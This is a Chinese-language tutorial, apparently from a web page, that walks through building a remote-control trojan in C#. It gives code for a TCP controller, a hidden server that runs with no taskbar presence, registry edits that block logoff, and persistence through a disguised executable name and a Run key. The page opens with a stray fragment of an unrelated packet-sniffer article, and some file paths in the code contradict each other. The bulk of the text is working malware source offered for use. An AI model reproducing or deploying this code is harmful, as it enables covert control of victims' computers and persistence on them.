 }
}

   以上介绍了RawSocket类通过构造IP头获取了包中的信息,并通过异步回调函数实现了数据包的接收,并使用时间代理句柄和自定义的数据包信息事件类把数据包信息发送出去,从而实现了网络数据包的监视,这样我们就可以在外部添加一些函数对数据包进行分析了。
前言:

    因为本程序是木马程序,所以在介绍之前有一些木马构成的基本知识事先说明,因为下面很多地方会提到这些内容。一个完整的木马系统由硬件部分,软件部分和具体连接部分组成。这里主要对软件部分介绍,它主要有控制端程序、木马程序(后台服务程序)、木马配制程序组成。控制端用以远程控制服务端的程序;木马程序是潜入服务端内部,获取其操作权限的程序;木马配制程序是设置木马程序的端口号,触发条件,木马名称等,使其在服务端藏的更隐蔽的程序。

使用的技术:

    控制端程序发送控制码控制服务器,服务器后台运行,修改注册表达到控制的目的。技术不是很难的,主要体现C#的网络编程和注册表的修改。

控制端开发:

    控制端向服务器发出一段控制码,服务端(木马程序)收到控制码后,根据控制的要求,完成指定的要求,如果服务器完成工作,返回成功的信息。

控制端的开发:

控制码的设定你可以自已设定,不需要详解,主要有以下几个难点。

1、连接请求

使用了.NET类中的 System.Net.Sockets.TcpClient类,

TcpClient(string hostname,int port)
Hostname 是要控制的主机名称,当然你也可以用IP地址。
Port是端口。
// System.EventArgs包含事件数据类的基类
private void button7_Click(object sender, System.EventArgs e)
{
//记录操作,在richTextBox控件中增加操作信息
richTextBox1.AppendText("请求连接" textBox1.Text "\r");
int port =6678;
try
{
//初始化 TcpClient 类的新实例并连接到指定主机上的指定端口
client = new TcpClient(textBox1.Text,port);
}
catch
{
MessageBox.Show("服务器不在线!确定是否输入主机名称.");
richTextBox1.AppendText("服务器不在线!确定是否输入主机名称.");
}
}//private void buttion

2、测试是否与被控制机连接上。程序的流程是发送控制码看控制端是否有反应,如果有返回则显示控制成功。

//提供网络访问的数据流
//private NetworkStream stream;
代码如下:
private void button8_Click(object sender, System.EventArgs e)
{
//纪录操作
richTextBox1.AppendText("测试连接" "\r");
try
{

stream = client.GetStream();
if(stream.CanWrite)
{
//发送控制码
string control = "jiance";
byte[] by =System.Text.Encoding.ASCII.GetBytes(control.ToCharArray());
stream.Write(by,0,by.Length);
//下次使用
stream.Flush();
//启动接收反回数据的线程
//receive是线程执行的函数,见后面的分析
threadReceive = new Thread(new ThreadStart(receive));
threadReceive.Start();
}
}
catch(Exception ee)
{
richTextBox1.AppendText (ee.Message "\r");
MessageBox.Show(ee.Message);
}
}
 3、控制生效的代码

private void button9_Click(object sender, System.EventArgs e)
{
//这里是确定要发送的控制码,RadioButton是窗体控件
if(radioButton1.Checked){ control = form2.zhucex;}
else if(radioButton2.Checked){ control =form3.zhuces;}
else if(radioButton3.Checked){ control = warring;}
else if(radioButton4.Checked){ control =suggest;}
else if(radioButton5.Checked){ control =form4.mumawe;}
else if(radioButton6.Checked){ control =drop;}
if (control =="000000")
{
MessageBox.Show("你没有输入任何控制目标!不发控制信号");
richTextBox1.AppendText("你没有输入任何控制目标!不发控制信号");
}
else if(control != "000000")
{
try
{
//记录操作
richTextBox1.AppendText (control "正在试图控制,等待回应......" "\r");
stream = client.GetStream();
if(stream.CanWrite )
{
byte[] by = System.Text.Encoding.ASCII.GetBytes(control.ToCharArray ());
stream.Write(by,0,by.Length);
stream.Flush();
threadReceive =new Thread(new ThreadStart(receive));
threadReceive.Start();
}//endif
}//try
catch
{
richTextBox1.AppendText("服务器未连接1控制无效!" "\r");
MessageBox.Show("服务器未连接1控制无效!" "\r");
}
}//else if
}

4、线程执行的函数

private void receive()
{
//设置读取数据的空间
byte[] bb = new byte[3];
//读取3个字节,i为实际读取的字节数
int i = stream.Read(bb,0,3);
//转换成字符串,如果是中文控制码则用string ss = //System.Text.Encoding.Unicode.GetString(bb);
string ss = System.Text.Encoding.ASCII.GetString(bb);
//hjc为我设置的服务器的返回码 hjc为连接成功,hkz为控制成功
if(ss=="hjc")
{
MessageBox.Show("连接成功");
richTextBox1.AppendText("连接成功");
}
if(ss== "hkz")
{
richTextBox1.AppendText(control "控制成功" "\r");
MessageBox.Show(control "控制成功" "\r");
}
}

服务端的开发:

要实现木马服务的程序,主要实现以下几个功能:后台的运行(隐藏技术),控制码的接收与注册表的修改,下面对这三方面做介绍:

1.在VC#中,建立一个后台服务程序是很容易的,先建立一个新的C#的Windows应用程序,项目名称自定(不过为了隐藏可使用与系统相近的名称),将窗体属性“ShowInTaskbar”属性设为false,让它运行时不会在任务栏中显示,并将属性“Windowstate”属性设为Mininized即可,这样窗体就可以隐藏运行了。当然你也可以在InitializeComponent()设置,此函数起初始化的作用,在窗体显示前运行,代码如下:

private void InitializeComponent()
{
//
// Form1
//
//窗体显示的起点和大小
this.AutoScaleBaseSize = new System.Drawing.Size(6, 14);
this.ClientSize = new System.Drawing.Size(368, 357);
//窗体名称
this.Name = "Form1";
//设置属性让它后台运行
this.ShowInTaskbar = false;
this.Text = "Form1";
this.WindowState = System.Windows.Forms.FormWindowState.Minimized;
}

2. 控制代码的接收,必需在服务程序运行开始就启动,所以侦听线程必需在程序初始化中启动,所以放在窗体的构造函数中,代码注解如下:

public Form1() //窗体的构造函数
{
//
// Windows 窗体设计器支持所必需的
//
InitializeComponent();
//
// TODO: 在 InitializeComponent 调用后添加任何构造函数代码
//加入你的侦听代码
//端口你可以自已设定,我使用了固定的端口
int port =6678;
//System.Net.Sockets.TcpListener是用来在Tcp网络中侦听客户端的
listener = new TcpListener(port);
//启动侦听
listener.Start();
//增加接收控制码的线程,如果要停止线程可以用 Thread.abort()
//reControlCode 是线程启动执行的函数,此函数根据接收的控制
//控制码选取合适的注册表修改函数
Thread thread = new Thread(new ThreadStart(reControlCode));
thread.Start();
}
reControlCode函数如下,完整代码见程序
private void reControlCode()
{
//设置接收套接字,接收listener.AcceptSocket是返回已经接收的客户的请求
socket = listener.AcceptSocket();
//如果连接成功执行
while (socket.Connected)
{
//接收控制码
byte [] by =new byte[6];
int i = socket.Receive(by,by.Length ,0);
string ss = System.Text.Encoding.ASCII.GetString(by);
//根据控制码执行不同的功能

//修改注册表加入编码
switch (ss)
{
case "jiance"://测试连接,返回测试信息
string str ="hjc";
byte [] bytee = System.Text.Encoding.ASCII.GetBytes(str);
socket.Send(bytee,0,bytee.Length,0);
break;
case "zx1000":
//修改注册表函数,自已定义,见下面分析
UnLogOff();
//返回控制消息
retMessage();
break;

case "zx0100":
//修改注册表函数
UnClose();
//返回控制消息
retMessage();
break;
//重复的case功能与前面一样,略掉
default:
break;
}//case
}//while
} //private void reControlCode

3.C#中实现注册表的修改,使用了.NET类库中的System.Microsoft.Win32命令空间,它提供两种类型的类:处理由操作系统引发的事件的类和对系统注册表进行操作的类。下面就可以看到它的用法。这里我做了一个修改注册表的子程序:使计算机不能注销。在这之前先了解注册表,在子键SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer
下面设键值NoLogOff 为 1 即可使计算机无法注销。在下面的函数中用C#实现对注册表的修改:

private void UnLogOff()
{
//得到主机的注册表的顶级节点
Microsoft.Win32.RegistryKey rLocal = Registry.LocalMachine;
//设置一个注册表子键的变量
RegistryKey key1;
try
{
//函数RegistryKey.OpenSubkey(string registrykey,bool canwrite)检索指定的子键
//registrykey是用户指定的键值,canwrite 为true则可修改,默认为fasle不可改
key1 =
rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",true);
//设置子键的键名,和值
key1.SetValue ("NoLogOff",1);
//关闭打开的子键
key1.Close();
//警告字符串设定
mystr = mystr "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
//如果不存在自已建立
if(key1 ==null)
{
try
{
//使用RegistryKey.CreateSubKey(string mystring)函数来建立你需要的子键
RegistryKey key2 = rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer");
key2.SetValue("NoLogOff",1);
key2.Close();
mystr = mystr "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer键值Nologoff被修改!请将它置为0!";
}
catch{}
}
}

4.在木马程序中还有一个重要的功能就是自我的复制和转移。木马引入被控制的主机时必需自动将木马隐藏在System,System32的目录下以防被发现。转移的代码分析如下,主要实现的功能是将D盘下的木马程序转移到C:\\winnnt\\system\\msdoss.exe,同时换名称。使用的.NET命名空间System.IO,它的作用是允许对数据流和文件进行同步和异步读写。这里我们使用了System.IO.File类。

private void moveCC1()
{
try
{
//函数File.Move(string sourceFileName,string destFileName)起移动文件的作用
//sourceFileName为要移动的文件名,destFileName为文件的新路径
File.Move("C:\\winnnt\\system\\msdoss.exe","d:\\winnt\\system32\\expleror.exe");
}
catch {}
//将新移的木马程序设为自启动.分析和前面一样
try
{
key1 = rLocal.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",true);
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
if(key1 ==null)
{
try
{
RegistryKey key2=rLocal.CreateSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run");
key1.SetValue ("microsoftt","d:\\winnt\\system32\\expleror.exe");
key1.Close();
}
catch{}
}
} //moveCC1()

到这里一个简单的C#的木马就完成了。 

在线咨询
  • 在线时间
  • 8:00-21:00